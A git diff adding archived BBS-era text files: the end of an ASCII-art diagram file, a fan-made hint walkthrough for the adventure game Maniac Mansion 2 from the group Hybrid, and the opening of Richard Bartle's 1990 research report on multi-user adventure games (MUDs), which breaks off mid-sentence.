_ _ + -----|_| | | | | ----- | | |----|4 + | |----|3 | | | | | | |3 + \_____| | |2 | | | \_____| |----|2 | |2 | + | | |1 |----|1 | | | |1 | |1 | + | |____| |____| | | |____| |____| | + \_________________/ \_________________/ + 10765761 13988284 + _ | | + |_|----- ----- + _ | _ _ _ _ _ _ | _ _ _ _ + |_|-----|_| | | | | |_|----- |----|4 | | + | | | | | | | |3 | | + \_____| |----|2 |----|2| \_____| | |2 |----|2| + | | |1 | |1| | | |1 | |1| + | |____| |____| | | |____| |____| | + \________________/ \_________________/ + 24315792 27318976 + + _ | _ | _ + |_|-----|_| -----|_| + _ | _ _ _ _ _ _ | _ _ _ _ + |_|-----|_| | | | | |_|----- | | | | + | | | |----|3 | |----|3|----|3 + \_____| | | | |2 | \_____| | |2| |2 | + | |----|1| |1 | | | |1| |1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 31714260 36403693 + _ | _ | _ + |_|----- |_|-----|_| + _ | _ _ _ _ _ | _ _ _ _ + |_|----- | | | | |_|----- | | | | + | |----|3| | | | | | | + \_____| | |2|----|2 | \_____| | | | | | + | | |1| |1 | | |----|1|----|1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 41526781 49389025 + + | _ | _ + ----- |_|-----|_| + _ | _ _ _ _ _ | _ _ _ _ + |_|-----|_| | | | | ----- | | | | + | | | | | | | | |----|3 + \_____| |----|2| | | \_____| |----|2| |2 | + | | |1|----|1 | | | |1| |1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 50174762 52314938 + _ | | _ + |_|----- -----|_| + | _ _ _ _ _ | _ _ _ _ _ + ----- |----|4| | |_|-----|_| | | |----|4 + | | |3|----|3 | | | | |3 + \_____| | |2| |2 | \_____| |----|2| |2 | + | | |1| |1 | | | |1| |1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 62814670 66763141 + _ | _ _ | _ + |_|-----|_| |_|-----|_| + _ | _ _ _ _ _ | _ _ _ _ + |_|-----|_| |----|4| | ----- | | | | + | | |3| | | | | | | + \_____| | |2| | | \_____| | | |----|2 | + | | |1|----|1 | | |----|1| |1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 71718229 78206146 + _ | _ | + |_|----- |_|----- + | _ _ _ _ _ _ | _ _ _ _ + -----|_| | | |----|4 |_|----- | | | | + | |----|3| |3 | | | |----|3 + \_____| | |2| |2 | \_____| | | | |2 | + | | |1| |1 | | |----|1| |1 | + | |____| |____| | | |____| |____| | + \_________________/ \________________/ + 80046215 86539614 + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + Another file downloaded from: The NIRVANAnet(tm) Seven + + & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 + Burn This Flag Zardoz 408/363-9766 + realitycheck Poindexter Fortran 510/527-1662 + Lies Unlimited Mick Freen 801/278-2699 + The New Dork Sublime Biffnix 415/864-DORK + The Shrine Rif Raf 206/794-6674 + Planet Mirth Simon Jester 510/786-6560 + + "Raw Data for Raw Nerves" +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/games/mm2hintf.txt b/textfiles.com/games/mm2hintf.txt new file mode 100644 index 00000000..5f398bd3 --- /dev/null +++ b/textfiles.com/games/mm2hintf.txt @@ -0,0 +1,419 @@ + HYBRID PRESENTS THE MANIAC MANSION 2 HINT FILE! + ----------------------------------------------- + + Ehrm guys, to be really honest with you I think + that the only way to be sure about MM2 is to use + the manual protection textfile we put out yester- + day, coz all the cracks seems to fuck up somehow! + +-Hoson 93.06.12 +--------------------------------------------------------- + + + Here's the hints guys! All summarized up! + +As Bernard when starting- +1)So where is the secret lab? + Open the grandfather clock. + +2)Where are the battery plans? + On the bulletin board in the lab between the generator and the + Sludge-o-Matic machine. +AS HOAGIE- +1)So how am I supposed to save the world? + Find Red Edison, get the battery built, get the battery charged, + plug in the Chron-o-John. + +2)How do I find Red Edison? + Enter the grandfather clock in the foyer and enter the secret + passage. + +3)Who's the guy in the field? + That's Ben Franklin-knows a lot about electricity-check back with + him after you get the battery built. + +4)What about the mummy? + That's Dead Cousin Ted-talking to his silent, bandage-wrapped bod + often helps Hoagie organize his thoughts. + +5)I can't get Red to build the battery. + He needs oil, vinegar, and gold; you'll have to provide the + ingredients. + +6)How can I get the gold? + You could try to take the pen on the table, but they would catch + you, You'll need to get rid of them, there is a smoke alarm on the + mantle, they seem very concerned about fire. + To start a fire, you'll need Jefferson's log. + +7)Jefferson won't fork over the log. + He sure does admire Washington! + If he thought Washington was cold maybe? + +8)What would make Washington look cold? + Make his teeth shake so he thought he was cold. + Replace his current false teeth with the chattering teeth + found in the convention hall in Bernard's timeframe. + +9)How do I get the chattering teeth? + Open the floor grate by the fireplace, then chase the teeth into the + grate, and pick them up from there. + +10)Washington won't take the teeth. + You'll need a cigar to remove those teeth. You have to find a way + to get one from the novelty salesman in the convention hall in + Bernard's time. + +11)How do I get the cigar from the salesman? + Sabotage the lighter so he can't use it! You need to switch the flag + gun from Dwayne's room for the lighter gun in the convention hall. + Dwayne's chair (on the door) is in the way; you need to get Dwayne + to leave, so Bernard can grab the gun. + +12)How can I get Dwayne to leave? + He is very depressed-he could use some good news. If only someone + admired one of his ideas....Have Hoagie get the letter from the + mailbox and give it to Bernard to give to Dwayne. + +13)O.K., I've built a fire, but I still can't get the pen. + You need to block the chimney, but you need something that can be + stuffed into the chimney to keep the smoke in. Use Handcock's + blanket-go up on the roof (through the attic) to do it. + +14)Where can I find the oil? + Check the kitchen for the oil. + +15)How do I get vinegar? + Start with the bottle of wine in Franklin's room. + Wine turns into vinegar if not properly stored. + Time is the key factor-give it to Jefferson for his time capsule. + +16)How do I open the time capsule? + Laverne has to open it in the future after the tentacles dig it up, + now if only Laverne had some way to open a metal canister. Have + Hoagie give Laverne the can opener. Then she can use it in the + Colonial Room to open the time capsule and give Hoagie the vinegar. + +17)How do I get Laverne out of the tree and upstairs? + See Laverne's section in this Hint Book. + +18)O.K., I've given the battery ingredients to Red, and i've got the battery, +but it still won't work. + Try looking at the battery. You need to get it electriclly charged- + try Franklin's kite. + +19)Ben says it's too sunny for his experiment. How can I make it rain? + Wash the carriage with brush, soap and water. + +20)I've found the water. Where's the brush and soap? + The brush is in the cabinet in the washroom where you found the + bucket. The soap is on the maid's cart. + +21)I still haven't found where the soap is. + You'll need to do something in Washingtons room to make it messy.. + Use the bed, pull the sash, then run out in the hall and pick up the + soap off the cart. + +22)How can I get Ben to fly the kite again? + He still needs waterproof kite material. The lab coat in Red's + workshop is waterproof. Give him the lab coat from the lab + downstairs, then use the battery with the kite when Ben gives it to + you. Push the kilte when Ben says "Now". Then pick up the battery + and plug in the Chron-o-John. + +23)How can I get the lab coat? + Red might give it to you if you were trusted.. Hire on his assistant + by giving him the Help Wanted sign. + +AS BERNARD- + +1)When can I get a diamond for the time machine? + You need money. If Dr.Fred were to sign the contract in the safe in + his office... + +2)How do I get Dr.Fred to open the safe? + Talk to Edna about the way to his heart.. + Put him to sleep by using the Decaf coffee from the kitchen in his + mug. + +3)I still can't get the safe combination. + He keeps his combination in his head. You need someplace to observe + Fred carefully. Watch Dr.Fred on TV in Edna's room + +4)How do I get past this Edna person? + Don't you wish you could push her out of the way? The problem is + that sword on the statue. If only the statue were right-handed... + +5)How can I get rid of the statue? + Have Hoagie get the left-handed hammer from Red's workshop, and + switch it for the right-handed one in Jed & Ned's room, then push + Edna. + +6)Dr.Fred spins the dial too fast. How can I slow him down? + Maybe you could slow the TV image down... Get the video tape from + Green Tentacle's room. + +7)Fred is still to fast for me. + Try instant replay.. Use the tape with the VCR, then press the red + record button. Rewind the tape, then change the right hand switch to + EP. Now play the tape again. Bernard now knows the combonation and + can open the safe. + +8)How do I get the contract signed? Dr.Fred has disappeared. + He hasn't disappeared; he's up in the attic tied to a bed. + +9)The IRS won't let me see Dr.Fred. + Sneak up the chimney. + +10)Dr.Fred can't sign the contract. He's all tied up. + Pick up the rope. + +11)How do I remove red tape? + If only someone would take his place.. Maybe you could get another + family member to help here.. + +12)How do I move Ted? + Use the rope with the pulley. Tie the rope to Ted. Pull the rope + while standing on the roof. + +13)The IRS dosen't seem to be fooled. + Color him red.. Get the red paint from the attic. + +14)How do I get Fred out of the attic? + Try the same way you got Ted in. Tie the rope to Fred, then go out on + the roof and pull it. + +15)Now that i've freed Fred, how do I wake him up? + You need the regular coffee from the kitchen. + +16)Fred dosen't seem thirsty. + Use the funnel from the cabinet in the washroom with Dr. Fred, then + use coffee with the funnel. + +17)Fred won't sign the contract. + Tell him you'll stop the tentacles by yourself. + +18)Wait a minute; this contract's outdated. + Just like he should have shut off the sludge machine earlier. This + isin't a problem when you've got a time machine. Let Hoagie mail it. + +19)Where can I get a stamp? + Weird Ed's got some and as long as their useful he'll keep them. + Get the disappearing ink from Dwayne's room and use it with the stamp + album. + +20)O.K., Dr. Fred has money, but he won't order the diamond. + Get Dr.Freds bankbook from the office, then make sure to watch TV + before you call the Shopping Network. +AS LAVERNE- + +1)How do I get Laverne out of the tree? + That tree has got to go. + +2)What could hurt a kumquat tree? + Get Hoagie to talk to George Washington about chopping down the tree! + +3)This isin't the right kind of tree for George. + Paint the tree red with the paint from the attic, then challenge + George's tree-chopping ability while he's in the convention hall. + (Dialouge path 1,1,2,2, if you haven't alked to him before, otherwise + 2,2) + +4)Now Laveren is imprisoned. How can I get her out? + Have Laverne talk to the guard and say she's sick or ask to go to the + bathroom. + +5)O.K., how can I get Laverne out of jail FOR GOOD? + You need to make a tentacle costume with the tentacle chart from the + tentacle doctor's office, those would make a good patern for a + costume. + +6)Who would make a disquise? + Try leaving the tentacle pattern with Betsy ROss. + +7)Laverne can't get to the Chron-o-John. + You'll have to get Laverne captured again, then tell the guard you + have to go to the bathroom and head for the yard. + +8)How can I get to the roof? + Use the fireplace! + +9)How can I reach the disquise? + Get the crank from Bernard and use it with the crank box, then turn + the crank. + +10)How can I get the guard to let me open the clock? + Get rid of him. What is the thing he loves to do? Chase down and + catch escaping humans. So get some to escape. + +11)None of the humans in the front hall want to go anywhere. + Get rid of the Kennel Guard. If you won the contest, you could use + the dinner certificate. + +12)How do I win the contest? I don't have a human. + Ted, the mummy, sort of looks like a human. + +13)Ted won't leave the room. + Use the skates. Then push. + +14)When does the contest start? + You need to register Ted first. Get a tag from the blue tentacle + by the fireplace in the regisration room. + +15)When does the judging start? + Talk to the judges to get them to attend to business. + +16)How can Laverne win? + Get rid of Harold. + +17)Harold won't leave. + He might if he were sick or looked sick. What about the fake barf + in Bernard's time? You need to get it off the ceiling. Turn on the + stereo and push over the speaker in the middle of the tentacles' + room, then get the barf and have Laverne use it with Ted. + +18)I got rid of Harold, but I still don't think Laverne will win. + Ted lacks a certain lifelike quality. He needs a better laugh, + a better smile, and better hair. + +19)How can I get a better laugh? + Get Oozo's laugh box from the clown in the convention hall in + Bernard's time. + +20)That clown drives me crazy. + Use the scapel to do him in. + +21)How can Ted get a better smile? + Who has nice teeth? The talking horse in Hoagie's time has a really + good smile. + +22)Smiles aren't easy to steal. + They are dentures. Put the horse to sleep. + +23)What could relax a horse? + Bernard's textbook could put anyone to sleep. + +24)How can I cure Ted's scalp problem? + Have you flushed the spaghetti? + +25)Ted's "hair" just isin't good enough. + Use the fork from the kitchen in Bernard's time with the spaghetti + on Ted's head... + +26)Even with the kennel guard gone, those darn humans still won't leave. + You'll have to scare them. + +27)What could possibly scare a human? + A wild animal? a SKUNK? + +28)Where could I find one of those human-scaring critters? + The black cat outside? Paint the fence white so when he rubs his back + he will get a white stripe. + +29)How could I improve the appearence of the fence? + There is no white paint in the whole game. So use the Booboo-b-gone + from Fred's office on the fence. + +30)I still can't pick up the cat. + Cat food could be a good thing to use to lure him down. Use the toy + mouse from the attic in the past. + +31)That cat in the past is very selfish. + What if there was something to distract him like a mouse? Something + like a squeaky mattress? + +32)The cat's too fast for Hoagy. + Use the squeaky mattress with the other bed. + +33)I made it to the basement, but there's no way to use the generator. + You'll need a hamster from Ed's room in Bernard's time to power it. + +34)Ed threw me out of his room, and I can't get back in. + Give Ed the stamp album. + +35)The only hamster is in the present, and I can't flush it. + How can I preserve the hamster? Put him on ice-Put the hamster in + the ice machine. + +36)What good is a cold critter? + Thaw the hamster out in the microwave. + +37)A chilly and wet hamster isin't very useful either. + Maybe a sweater would warm it up. The sweater's stuck under the guy + in the bedroon in Bernard's time. + +38)How do I wake up the guy in pajamas? + The Fickle Finger machine might move him-if you had enough dimes. + +39)How do I get the dime out of the gum? + Use the crowbar. + +40)The guy in the ski mask won't give me the crowbar. + He needs some other way to get in the car. Give him the keys you + can get by closing the door inside the honeymoon suite. + +41)The sweater won't flush. + 2 problems - it's too big and it's too wet. A dryer might solve both + but it needs quarters. + +42)Where can I get quarters? + Use the crowbar with the candy machine. + +43)Bernard can't get the sweater out of the dryer. + Laverne can get it out... + +44)I forgot why I needed the sweater. + To warm the hamster so it can run the generator. + +45)I've lost my hamster. + He's in the mousehole. What you need is a vaccum-cleaner. + +46)Where could I find a vaccum cleaner? + Have Hoagie use the vaccum cleaner flier from the lobby with the + suggestion box. + +47)Help! The hamster's stuck in the vaccum cleaner. + Open the hatch and get it out! + +48)How do I disable the booby trap? + You already have - it's a one-hit wonder. + +49)The generator's running, but I can't connect it to the Chron-o-John. + Use the extension cord from the seventies exhibit through the + basement window to connect the Chron-o-John to the generator. + +AS HOAGIE, LAVERNE, AND BERNARD TOGETHER + +1)I'm too small to do anything and somebody stole my inventory. + Everything you need is in the mansion, and being small wears off. + +2)How can I get to the switch? There's 10 tentacles guarding it. + Get the bowling ball from green Tentacle's room. + +3)Old Purple Tentacle zaps me before I can do anything. + Maybe there's a secret passageway you haven't noticed yet all through + the game. Get Dwayne's door open when large, get Old Purple to zap + you, run through the mousehold when small, wait there until you grow, + and pick up the bowling ball when large. + +4)Now Old Purple Tentacle won't let me throw the switch. + If only you could shoot HIM with the ray gun. There IS a mirrow in + the room. Talk to Old Pur into shooting Dr.Fred (Dialouge path + 1,4,1,3) + + Was this a bitch to type? YES! Enjoy it! + + -DeaD GooN of Hybrid +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + Another file downloaded from: The NIRVANAnet(tm) Seven + + & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 + Burn This Flag Zardoz 408/363-9766 + realitycheck Poindexter Fortran 510/527-1662 + Lies Unlimited Mick Freen 801/278-2699 + The New Dork Sublime Biffnix 415/864-DORK + The Shrine Rif Raf 206/794-6674 + Planet Mirth Simon Jester 510/786-6560 + + "Raw Data for Raw Nerves" +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/games/mudrepor.txt b/textfiles.com/games/mudrepor.txt new file mode 100644 index 00000000..4442eaef --- /dev/null +++ b/textfiles.com/games/mudrepor.txt @@ -0,0 +1,7104 @@ + Interactive Multi-User Computer Games + + Dr Richard Bartle, + MUSE Ltd., + 34, Grantham Road, + Great Horkesley, Colchester, Essex. + CO6 4TU, UK. + + email: Richard%tharr.UUCP@ukc.ac.uk + + Copyright (c) MUSE Ltd, British Telecom plc. + December, 1990. + + + Abstract: + + This is a short research report covering the field of + interactive, multi-user computer games. Its main component is + a comprehensive overview of what presently constitute the most + important products in this category. The report ends in a + discussion of ways by which existing services may be improved + to the benefit of both the user and the vendor. + + Author's note: this document grew from a longer report + commissioned by British Telecom plc. It is commercially + oriented, so was delayed for six months after delivery prior to + being made publicly available. Certain commercially sensitive + details have still had to be struck out, in particular a + comprehensive contact list of leading people in the field. + Furthermore, some of the information (particularly that + concerning game access) has been superseded since it was + written. I hope that what remains is nevertheless of some use. + + + Table of Contents + + + 1. Introduction. 4 + + 1.1 The Field of Study. 4 + 1.2 Narrowing the Field of Study. 4 + 1.3 Acceptance Criteria. 5 + 1.4 Categories of IMPCGs. 5 + 1.5 Brief History (Industry). 6 + 1.6 Brief History (Academia). 7 + + 2. Game Architecture. 8 + + 2.1 Technical Aspects. 8 + 2.2 Operational Aspects. 8 + 2.3 Managerial Aspects. 10 + 2.4 Scenarios. 11 + 2.5 Clients. 12 + 2.6 Bots. 12 + 2.7 Indicators. 13 + Breadth 13 + Depth 13 + Size 14 + Parser 15 + Players 15 + Role-playing 16 + Wiz Powers 16 + Age 18 + Gameplay 18 + Atmosphere 19 + + 3. Reviewing Strategy. 20 + + 3.1 Review Format. 20 + 3.2 Accuracy. 20 + 3.3 Locations. 20 + 3.4 Genealogy. 22 + + 4. Reviews - UK. 24 + + 4.1 Federation II. 24 + 4.2 Gods. 26 + 4.3 MirrorWorld. 29 + 4.4 MUD2. 32 + 4.5 Shades. 36 + 4.6 AberMUG. 41 + 4.7 Avalon. 41 + 4.8 Bloodstone. 44 + 4.9 Empyrion. 47 + 4.10 MIST. 48 + 4.11 Mosaic. 49 + 4.12 Prodigy. 51 + 4.13 Quest. 53 + 4.14 Realm. 54 + 4.15 Trash. 55 + 4.16 Void. 57 + 4.17 Zone. 59 + 4.18 Chaos World of Wizards. 62 + 4.19 Rock. 64 + 4.20 Sector 7. 64 + 4.21 Other MUAs. 65 + + Table of Contents (continued) + + + 5. Reviews - Rest of the World. 71 + + 5.1 British Legends. 71 + 5.2 Gemstone III. 72 + 5.3 Other Commercial MUAs. 73 + 5.4 AberMUD. 75 + 5.5 LPMUD. 77 + 5.6 TinyMUD. 79 + 5.7 TinyMUCK. 83 + 5.8 TinyMUSH. 84 + 5.9 TinyMOO. 85 + 5.10 UberMUD. 86 + 5.11 Other InterNet MUAs. 87 + + 6. Reviews - Non-MUAs. 92 + + 6.1 Fantasy Sports. 94 + 6.2 Island of Kesmai. 94 + 6.3 Sniper! 98 + 6.4 The Spy. 99 + + 7. Discussion. 101 + + 7.1 Organisation. 101 + 7.2 Why Do People Play? 101 + 7.3 Why Do People Not Play? 107 + 7.4 Why Do People Stop Playing? 109 + 7.5 What Does the Future Hold? 112 + 7.6 Conclusion. 114 + +1. Introduction. + +1.1 The Field of Study. + + "Interactive, multi-user computer games": despite containing three +adjectives, the phrase is wide-ranging in its coverage. The first task in +reviewing the area must therefore be to formulate a set of criteria that can be +used to determine whether a system should, or should not, be the object of +study. + + The term 'games' refers to those pastimes which are undertaken +primarily for the purpose of entertaining the user (or, in this context, +player). Although games can be designed for business or educational use, +rather than solely for leisure-time activity, nevertheless to qualify they must +somehow be "fun". They also need a set of rules, and, if competitive, some +means of gauging how close the player is to "winning" (ie. meeting a +predefined overall objective). Additionally, most require some skill on the +part of the players. In cases where modelling the real world is a significant +aspect of a game, it may be referred to as a 'simulation' (although not all +simulations are games). + + 'Computer games' are games which are played against, moderated by, or +played using, a computer. In rare cases, they can be played between computers. + + 'Multi-player computer' games are computer-run games that several +individuals can play simultaneously. + + 'Interactive, multi-player computer games' are those computer-run games +where the individual players can issue commands which affect the way the game +treats other players. + + This specific-seeming definition nevertheless admits such activities as +two friends playing a pinball down at the local pub. It's a game, there's a +computer inside it controlling everything, it'll entertain up to four players +taking turns, and one player's score affects the extent to which the other +players will take risks (and, hence, is a means of interaction). Nevertheless, +a pinball is not what is generally regarded as an interactive, multi-player +computer game; indeed, if it were, then the range of other games that also fit +the definition would reduce any overall analysis to a level of vague +generalities. + +1.2 Narrowing the Field of Study. + + It is necessary to discard from consideration those games which lie +outside the spirit of the definition. 'Computer games' in this context are +those games which run solely on general-purpose computers. This excludes +machines hard-wired to play one game (chess, space invaders, pinball), but +still includes certain categories of games machine (Sega, Nintendo, modern +video games). + + If a game is to be 'multi-player', there are three alternatives: +several people playing on the same machine in the same room; several people +playing over a LAN; several people playing over a public network. In practice, +only the latter is worth considering: games in the first category tend to be +commercial flops unless the multi-player facility is merely a gimmicky +extension to an essentially single-player game; games in the second category +rarely sell, because most LANs are company-owned and are unavailable for +leisure activities (although within the next few years they may be introduced +into amusement arcades). + + Thus, 'multi-player computer games' can be reduced to those which +individuals contact over some public network, eg. that of the telephone. +However, this further constrains the architecture of such games, in that unless +users all have similar, tamper-proof machines, the bulk of processing must be +centralised within a single computer (or a cluster). Otherwise, system security +would be compromised. Although some processing can be done locally (graphics, +sound effects, parsing etc.), nothing multi-user can be trusted to a user's +home machine. Even in situations where all players are known to have identical +hardware and software (as is the case with games consoles), unless one machine +is in overall control there is a dangerous susceptibility to the sudden system +failure of a component machine. Distributed games are not, for the moment at +least, viable. + + A special case is that of two-player games. With players who can trust +one another not to cheat, modem-to-modem games can be played in distributed +fashion. If finding a player is difficult, contact agencies can pair people up +(CompuServe in the USA, for example, has a "Challenge Forum" for people wishing +to find opponents for tandem games such as Falcon, Flight Simulator 3, Modem +Wars, 'Vette and Omega). In this instance, the host machine is merely acting as +a bulletin board or matchmaker. However, there do exist two-player games where +major processing is done on the contact machine itself. + + This leaves us with a set of games where the players have computers +which they use as front-ends to access a (usually larger) computer, upon which +the games themselves run. There are some games of the FIST variety where the +user can dial telephone numbers to issue commands, but no such games have +anything that is not subsumed by some aspect of play-by-modem games; not even +the emerging voice-activated telephone games are much of an advance. + + Finally, what is meant by the term 'interactive' when applied to +multi-player computer games? Actually, the word is ambiguous: it can mean +"allowing players to act upon one another", but also merely "on-line" (in a +computer sense). Both these meanings are, to some extent, already implied. +Although being multi-player indicates that there is some degree of awareness of +other individuals playing at the same time (if you can't tell by playing that +it's multi-player, it may as well not be), 'interactive' emphasises the +requirement that players be able to do things with and to each other. This is +exemplified by the ability to communicate freely. Limited forms of +communication using standard protocols are possible in certain games (eg. +bridge), but in general the players have to be able to send messages to one +another in free-form natural language if they are to communicate effectively. + + Inter-player communication not the end of it, however, because an +ordinary chatline program can perform such a function; a chatline, though, is +not a game. There may be conventions observed by participants, but there are +no formal rules of play, and there is no way to "win" - or even advance in +status - on a chatline. To be an interactive, multi-player game, +communication between players is necessary, but not sufficient; players need to +be able to do things to one another that, within the framework of the game, +will have a tangible effect. + +1.3 Acceptance Criteria. + + To summarise, then, for the purposes of the remainder of this report, +an interactive, multi-player computer game (IMPCG) is something which satisfies +the following criteria: + + - It is played by people primarily for fun. + - It has a set of rules, and an overall game-dependent objective. + - You need a general-purpose computer to play it. + - It runs primarily on a central computer, connected to the players' + computers over a public network. + - More than one person can play it simultaneously. + - Players can communicate with one another in real time, using a natural + language (eg. English). + - Players can issue commands independently which may affect the status + of other players within the game. + +1.4 Categories of IMPCGs. + + Existing interactive, multi-player computer games satisfying the above +criteria are, in the main, programs sharing a common heritage known variously +as MUGs (Multi-User Games), MUDs (Multi-User Dungeons, Multi-User Dimensions) +and MUAs (Multi-User Adventures). Although the terms are often used +interchangeably, there are technical distinctions: + + MUG - Used mainly by journalists and people who don't know any better. + A UK-only term. Vague - soccer is a "multi-user game" - but + employed in the present context the term refers to any on-line + computer game, whether interactive or not. Scrabble by modem is + a MUG (and, on Minitel, a very popular one). + + MUD - Ambiguous in that it can refer not only to a class of + interactive, multi-player computer games, but also to a + particular game (the first one of this genre). In the UK, + normally the specific form is used, but elsewhere 'MUDs' is + generic. + + MUA - Perhaps the most accurate description. Multi-user adventures + are, simply, adventure games for more than one player. Adventure + is a term already used to refer to a popular form of + single-player computer game, such as those produced by Infocom, + Level 9 and Magnetic Scrolls. The very first adventure game (now + called Colossal Cave) was originally entitled Adventure. MUA is + used by purists, but rarely appears in non-technical magazine + articles due to its being hard to incorporate into witty + headlines. + + However, for the remainder of this report the acronym MUA will be used +to refer to this kind of IMPCG. This is because MUG is too general (and unused +outside the UK), and MUD is ambiguous. + + MUAs are not the only IMPCGs, just the dominant form. There are other +games which satisfy our adopted criteria, but they are one-off individuals, not +classes of games. Examples are Island of Kesmai, You guessed it! and Sniper on +CompuServe. All are characterised by communication and interaction, and they +do not play the same as MUAs. They can, however, each be seen as a specialised +form of MUA, and could, for example, readily be programmed in the better MUA +definition languages. + + This report will therefore concentrate on MUAs as best exemplifying +IMPCGs, while making reference to other games that also qualify when +appropriate. + +1.5 Brief History (Industry). + + Present day MUAs are all descendents of a single game known as MUD +(Multi-User Dungeon; to avoid confusion with the generic term, the game will be +referred to as MUD1 for the remainder of this report). Although there were +early attempts to turn single-player adventures such as Colossal Cave and Zork +into multi-player adventures, and there may have been attempts to write MUAs +from scratch, these came to nothing or petered out. MUD1 was the first proper, +workable multi-user adventure game. + + MUD1 was written by Roy Trubshaw and Richard Bartle at Essex University +on a DECsystem-10 mainframe. Trubshaw began in Autumn 1979, and Bartle took +over in Summer 1980. Initially, the game was playable only by students at the +university and guests using (what was then) EPSS. After a year or so, however, +external players began to direct-dial from home using modems, and the game's +popularity grew. + + Many of MUD1's players found it difficult to get a slot in the game, +since the number of dial-up ports on the university machine was limited, and +because the game was only available late at night when there was spare +processing capacity. Some of these players wrote their own MUAs, based on MUD1 +and using similar commands. Among these were AMP, Gods and Shades. + + After a flurry of articles in computer hobby magazines around 1984, +MUD1's fame spread even wider. Bartle and Trubshaw formed MUSE Ltd to rewrite +the game as MUD2, and run it on VAXes owned by a division of BT then known as +NIS (Network Information Services). Due to an internal dispute between NIS and +Prestel, Prestel declined to take MUD2 as "their" MUA, and chose the lookalike +game Shades instead. MUD1 was, for two years, available on the CompuNet network +in the UK, but it was removed when CompuNet discarded their DECsystem-10s. A +version of MUD1 still runs on CompuServe in the USA, and, despite its venerable +age, continues to be one of their most profitable leisure products. + + After a time, people who had played games based on MUD1 wrote their own +MUAs, and the process snowballed. Nowadays, there are some twenty or more MUAs +in the UK of varying degrees of sophistication, six of which (MUD2, Shades, +Gods/The Zone, Federation II, AberMUG and Bloodstone) are run on a commercial +basis. The UK leads the world in this technology, despite the constraints of +high communications charges (even using PSS, it costs over 5 times more per +hour to call MUD2 than the game itself charges for playing). + + This, then, is the state of the "industry" in the UK. However, there +are two almost disjoint streams to the development of MUAs, the other one being +based in academia. + +1.6 Brief History (Academia). + + With the publicity of the mid-1980's and the advent of JANet (Joint +Academic Network - free inter-university networking), students at other +universities continued to play MUD1 at Essex (along with other games written +using the same shell, MIST being the main one). These students also wrote +their own MUD1-like games. The first, AberMUD, was programmed at Aberystwyth, +and made available to other sites over JANet and InterNet. This in turned +spawned other MUAs based on it (TinyMUD, LPMUD), which were distributed freely +to (mainly Unix) sites around the network. There are now some fifty sites +running versions of these games, and the sources are available free to anyone +who wants them. There is a thriving NewsNet section dedicated to these games +(which are called "MUDs" by everyone), and new sites are coming on stream all +the time. They're mainly in the USA, but can be found in many other countries +as well. Only one game is run commercially, an incarnation of AberMUD called +AberMUG, which was mentioned earlier; a version of TinyMUD has appeared +alongside Gods, but as a test and without any publicity. + + It can thus be seen that at present there are two almost completely +disjoint MUA camps. Few people in one group are aware of people in the other. +At present, the best games are the top-notch UK professional MUAs, but with the +huge number of US academics presently engaged in MUA activity, it is only a +matter of time before players over there start writing their own versions and +marketing them commercially. Unless the UK can maintain the lead that history +has given it, these American MUAs will doubtless come to dominate the scene +over the coming years. + +2. Game Architecture. + +2.1 Technical Aspects. + + To gain the most from reviews of MUAs, some understanding is required +of how such games work. In essence, they can be regarded as high-level +operating systems. Players log in to a host computer interactively over an +appropriate network. The host computer usually has a fast processor and lots +of disc space, because MUAs are computationally expensive. Players type +commands on their own home micro, which are passed through the network to the +host computer. This takes commands from all players, executes these commands +(usually asynchronously - ie. in turn - but sometimes synchronously under +timesharing), and sends information back based on how the commands were +interpreted in the game context. This information is then displayed on the +players' computers. Thus, it can be seen that players' own computers act as +'front-end' processors for the host, handling all i/o. Although most front-ends +are dumb, in that they send raw commands and print raw output, some are +intelligent enough that they can draw pictures when instructed, word-wrap, +produce sound effects, and so on. + + The game running on the host computer will be either 'Interpreted' or +'compiled'. Interpreted games are written in a MUA-specific definition +language of the programmer's own design, and are flexible, easy to modify, +robust and slow. Compiled games are hard-coded in a standard implementation +language such as C, and are inflexible, hard to make changes to, fragile and +fast. The better games are interpreted and use fast hardware. + + The way games behave is determined by a definition file, commonly +called a 'database'. For interpreted games, it is rarely a database in the +conventional sense of the word, being more akin to a program. It becomes a +database when converted into internal data structures and loaded into memory. +Even compiled games rarely use a true database for definition purposes. + + Interpreted games can behave radically different given contrasting +databases as input. Compiled games will generally use the database only for +text. Interpreted games are managed by an interpreter program, which can take +as input the database of any game written in the appropriate definition +language. Thus, having written an interpreter for one target machine, any MUA +written for it will automatically run on all other machines for which +interpreters exist. This is not the case for compiled games, which must be +written virtually from scratch for each game. + + In executing players' commands, the process is one of database +management. Players issue commands in a stylised form of (usually) English. +This is parsed into a tuple normally of the form verb/object/instrument. The +game uses these tuples to look up instructions in an internalised database +query language, and those instructions are then executed to interrogate or +modify the database. Success/failure messages are passed back to the player who +issued the command, and to other players entitled to receive them. + +2.2 Operational Aspects. + + From the players' point of view, the underlying mechanisms are of +little or no interest. To them, MUAs are environments where things happen. +Players have 'personae', which exist in a world elsewhere. The computer is +their interface to this otherworld, carrying out their orders and reporting +back to them what has happened. MUAs are sprawling landscapes, richly +described, and you can try anything (within reason) that you like. + + Taking a less poetic view, MUAs are made up of 'objects', which have +properties. Some of the objects represent rooms, others represent players, and +others represent ordinary/non-special objects. Rooms are linked together in a +network by means of 'exit' properties, and each has a 'contents' property (ie. +a list of objects the room contains - it can be the empty list). If a player +object is in one room, then executing for that player a movement command (eg. +"north") involves taking the following steps: + + 1) Find the room which has, in its contents property list, the object + that represents the player who issued the command. + 2) On the inter-room network (the 'travel table'), follow the north + exit property for this room to find another room. + 3) Remove from the contents property list of the first room the object + representing the player who issued the command. + 4) Add that object to the contents property list of the second 